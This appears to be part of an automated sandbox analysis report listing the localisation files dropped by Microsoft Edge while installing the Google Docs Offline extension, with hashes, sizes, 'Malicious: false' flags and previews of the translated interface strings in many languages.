Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
